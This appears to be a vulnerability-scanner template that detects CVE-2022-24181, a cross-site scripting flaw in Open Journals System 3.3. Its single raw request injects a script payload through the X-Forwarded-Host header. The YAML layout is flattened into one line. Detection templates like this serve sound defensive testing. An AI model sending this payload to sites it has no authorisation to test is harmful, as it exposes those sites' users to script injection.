id: CVE-2022-24181 info: name: PKP Open Journals System 3.3 - Cross-Site Scripting author: lucasljm2001,ekrause severity: medium description: | Detects an XSS vulnerability in Open Journals System. reference: - https://www.exploit-db.com/exploits/50881 - https://github.com/pkp/pkp-lib/issues/7649 - https://youtu.be/v8-9evO2oVg - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-24181 - https://nvd.nist.gov/vuln/detail/cve-2022-24181 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-24181 metadata: verified: true tags: cve,cve2022,xss,oss,pkp-lib,edb requests: - raw: - | GET /iupjournals/index.php/esj HTTP/2 Host: {{Hostname}} X-Forwarded-Host: foo">alert(document.domain)